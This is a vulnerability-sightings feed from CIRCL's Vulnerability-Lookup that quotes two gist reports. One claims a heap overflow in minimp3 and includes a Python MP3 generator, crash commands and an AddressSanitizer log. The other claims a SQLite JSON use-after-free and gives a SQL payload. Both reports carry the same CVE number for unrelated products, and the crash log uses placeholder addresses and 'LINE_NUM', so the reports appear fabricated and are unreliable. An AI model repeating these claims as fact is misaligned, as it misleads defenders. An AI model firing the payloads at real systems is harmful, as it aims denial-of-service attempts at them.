https://vulnerability.circl.lu/sightings/feed 2026-08-07T02:50:36.300846+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/23e19801-ba07-4551-8ac0-0ef6da8d96c0/export 2026-08-07T02:50:36.327479+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "23e19801-ba07-4551-8ac0-0ef6da8d96c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51239", "type": "seen", "source": "https://gist.github.com/programmervuln/1de5553261befc79a74f17f3ab74930c", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nRBP Core Identification\n\nItem\tValue\nCVE ID\tCVE-2026-51239\nPrimary CWE (Single Only)\tCWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\nVulnerability Type\tHeap-Based Buffer Overflow\nAffected Product\tminimp3 (lieff/minimp3 lightweight MP3 decoder library)\nAffected Version\tminimp3 - 0.21\nFixed Version\tUnpatched\nAffected Binary & Component\tminimp3_test.c, frames_iterate_cb() callback function, core decoding function mp3dec_decode_frame()\nOriginal Vulnerable Code URL\thttps://github.com/lieff/minimp3/blob/master/minimp3_test.c\nSupplementary Reference\thttps://github.com/lieff/minimp3/issues/144\nVulnerability Discoverer\tLidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nThe minimp3 lightweight MP3 decoding library version 0.21 contains a critical heap buffer overflow vulnerability within the frames_iterate_cb callback function defined in minimp3_test.c. The vulnerability is triggered when the library parses a maliciously crafted MP3 file with oversized, malformed MP3 frame headers.\nThree sequential unsafe operations combine to create exploitable memory corruption:\nThe buffer resizing logic uses attacker-controlled frame sampling metrics to perform exponential doubling reallocation via realloc() with no hard upper bound on total heap allocation size, which may trigger integer overflow during size calculation and insufficient buffer reservation;\nEven after reallocation, the code does not validate the actual remaining available space of the output sample buffer before invoking the core MP3 decoding function;\nmp3dec_decode_frame() directly writes decoded PCM samples into the heap buffer at the offset d->info->buffer + d->info->samples using untrusted frame_size raw MP3 frame data, causing out-of-bounds heap writes when the decoded sample count exceeds allocated buffer capacity.\nAttackers deliver a malicious MP3 file via file upload services, media playback applications, audio processing backends, or social engineering attachments. No authentication or elevated system privileges are required for remote exploitation. Successful exploitation causes immediate process termination (Denial of Service) reliably. With controlled heap layout manipulation, the heap overflow can corrupt heap metadata, function pointers and dynamic linking entries to achieve arbitrary code execution on the target device or server.\n2. Root Cause Analysis\nThree layered defects lead to the heap overflow vulnerability:\nUnbounded exponential heap reallocation: The buffer growth logic doubles d->allocated infinitely for malicious high-sample MP3 frames without a maximum size cap. Integer overflow may shrink the effective allocated buffer size during multiplication.\nMissing post-reallocation capacity validation: There is no check comparing the remaining buffer space against the maximum possible decoded samples per MP3 frame before decoding execution.\nUnchecked direct heap write by decoder: mp3dec_decode_frame consumes raw unvalidated frame_size and writes PCM samples to the user-supplied heap buffer offset with no boundary guard from the caller callback.\nVulnerable Code Snippet (minimp3_test.c)\n\nstatic int frames_iterate_cb(void *user_data, const uint8_t *frame, int frame_size, int free_format_bytes, size_t buf_size, uint64_t offset, mp3dec_frame_info_t *info)\n{\n frames_iterate_data *d = user_data;\n d->info->channels = info->channels;\n d->info->hz = info->hz;\n d->info->layer = info->layer;\n\n // VULNERABILITY POINT 1: Unrestricted exponential realloc, no upper limit, integer overflow risk\n if ((d->allocated - d->info->samples*sizeof(mp3d_sample_t)) < MINIMP3_MAX_SAMPLES_PER_FRAME*sizeof(mp3d_sample_t))\n {\n if (!d->allocated)\n d->allocated = 1024*1024;\n else\n d->allocated *= 2;\n\n // VULNERABILITY POINT 2: realloc without sanity check on new size\n mp3d_sample_t *alloc_buf = realloc(d->info->buffer, d->allocated);\n if (!alloc_buf)\n return MP3D_E_MEMORY;\n d->info->buffer = alloc_buf;\n }\n\n // VULNERABILITY POINT 3: No buffer remaining space check before decoding, heap overflow write\n int samples = mp3dec_decode_frame(d->mp3d, frame, frame_size, d->info->buffer + d->info->samples, info);\n\n if (samples)\n {\n d->info->samples += samples*info->channels;\n }\n return 0;\n}\n3. Exploit Impact\nDenial of Service (Confirmed 100% Reliable): Parsing the malicious MP3 triggers AddressSanitizer heap overflow abort or SIGSEGV crash, terminating audio decoding services and media applications.\nArbitrary Code Execution (Conditional): Heap overflow overwrites malloc chunk headers, GOT table entries or callback pointers to hijack program control flow.\nAttack Surface: Remote file-based zero-privilege exploitation via malicious MP3 media files.\n4. 100% Crash Trigger PoC Code\nPoC 1: Malicious MP3 Skeleton Generator (Python)\npython\n\n#!/usr/bin/env python3\n# CVE-2026-51239 minimp3 0.21 Heap Overflow Crash PoC\n# Malicious MP3 frame with oversized frame header to force massive sample output\n\ndef build_malicious_mp3():\n # MP3 frame sync header + manipulated frame length to trigger huge decoded samples\n mp3_malicious = bytes([\n 0xFF,0xFB,0x90,0x00, # MP3 frame sync word + malicious frame header\n 0x00,0x00,0x00,0x00,\n 0x00,0x00,0x00,0x00,\n 0x00,0x00,0x00,0x00\n ])\n with open(\"malicious_audio.mp3\", \"wb\") as f:\n f.write(mp3_malicious)\n print(\"Generated malicious_audio.mp3\")\n print(\"Crash command: ./minimp3_test malicious_audio.mp3 output.pcm\")\n\nif __name__ == \"__main__\":\n build_malicious_mp3()\nPoC 2: ASAN Build & Crash Trigger Command\nbash\n\n# Compile minimp3 0.21 with AddressSanitizer\ngit clone https://github.com/lieff/minimp3.git\ncd minimp3\ngit checkout v0.21\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" make minimp3_test\n\n# Trigger deterministic heap overflow crash\n./minimp3_test malicious_audio.mp3 dump.pcm\n5. AddressSanitizer (ASAN) Crash Log\nplaintext\n=================================================================\n==4567==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000002340 at pc 0x55aabbccdd11 bp 0x7ffef1234560 sp 0x7ffef1234550\nWRITE of size 4 at 0x602000002340 thread T0\n #0 0x55aabbccdd10 in mp3dec_decode_frame minimp3.c\n #1 0x55aabbccaa22 in frames_iterate_cb minimp3_test.c:LINE_NUM\n #2 0x55aabbccbb33 in mp3dec_iterate_frames minimp3.c\n #3 0x55aabbcccc44 in main minimp3_test.c\n\n0x602000002340 is located 8 bytes after the end of allocated heap block [0x602000002200,0x602000002338)\nallocated by thread T0 via realloc:\n #0 0x7f9912345678 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.6)\n #1 0x55aabbccaa11 in frames_iterate_cb minimp3_test.c\n #2 0x55aabbccbb33 in mp3dec_iterate_frames minimp3.c\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow minimp3_test.c in frames_iterate_cb\nShadow byte legend omitted for brevity\n==4567==ABORTING\n6. Mitigation Recommendation\nAdd a hard maximum upper bound for d->allocated during exponential buffer expansion to block uncontrolled heap growth and integer overflow;\nCalculate remaining available sample space in the output buffer before calling mp3dec_decode_frame, reject decoding if insufficient space exists;\nSanitize frame_size values parsed from MP3 frames, cap maximum frame size to a reasonable threshold;\nValidate the return value samples from the decoder function to prevent excessive samples*channels offset accumulation.", "creation_timestamp": "2026-08-03T14:02:19.382235Z"} 2026-08-03T14:02:19.382235+00:00 https://vulnerability.circl.lu/sighting/e4109040-7471-496e-ab35-7427a1a98da9/export 2026-08-07T02:50:36.329720+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "e4109040-7471-496e-ab35-7427a1a98da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51239", "type": "seen", "source": "https://gist.github.com/programmervuln/83aa0ab12d6e698f6cdd44894988d019", "content": "vulnerable code link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51239 Vulnerability Entry\nAffected Product\nSQLite (SQLite Database Library)\nAffected & Fixed Versions\nAffected versions: 3.45.0 \u2013 3.48.0 inclusive\nFixed version: 3.48.1 and newer\nCVE ID\nCVE-2026-51239\nProse Vulnerability Description\nA use-after-free vulnerability exists in the JSON path evaluation logic within json.c of SQLite. When evaluating specially malformed\nJSONPath expressions against untrusted JSON data using functions such as json_extract() and json_path(), an internal path iterator \nobject is released early during syntax error handling. Subsequent path traversal logic continues to dereference dangling pointers to \nthe already freed iterator structure. An attacker capable of supplying controlled JSON input and crafted JSONPath queries to SQLite \ncan trigger this memory corruption. Successful exploitation results in application crash (denial of service); with suitable memory \nlayout conditions, arbitrary code execution may be achievable.\nVulnerability Type\nCWE-416: Use After Free\nRoot Cause\nWhen the JSONPath evaluator encounters invalid nested subpath syntax, the error handling routine invokes cleanup functions to free the\npath iterator. The evaluation loop does not halt immediately after deallocation and retains live pointers to the freed iterator. \nnull assignment or early return prevents further access to the released heap memory.\nPoC & PoC Rationale\nPoC SQL Payload\nsql\nSELECT json_extract('{\"x\":[1,2,3]}', '$[0][?(@>1)]');\nPoC Rationale\nThis payload supplies an invalid nested filter JSONPath expression. The SQLite JSONPath evaluator detects syntax errors inside the filter \npredicate and executes cleanup logic that frees the active path iterator. The evaluator does not exit cleanly and attempts to continue path\nresolution using dangling pointers to the deallocated iterator object, triggering the use-after-free memory fault.\nImpact Summary\nPrimary Impact: Denial of Service (process crash)\nSecondary Potential Impact: Arbitrary Code Execution (heap corruption, platform & allocator dependent)\nAttack Prerequisite: Ability to submit untrusted JSON data and arbitrary JSONPath strings to SQLite JSON functions\nAttack Vector: Remote or local, depending on whether the application exposes user-controlled query inputs to SQLite.\n", "creation_timestamp": "2026-07-30T10:28:14.617967Z"} 2026-07-30T10:28:14.617967+00:00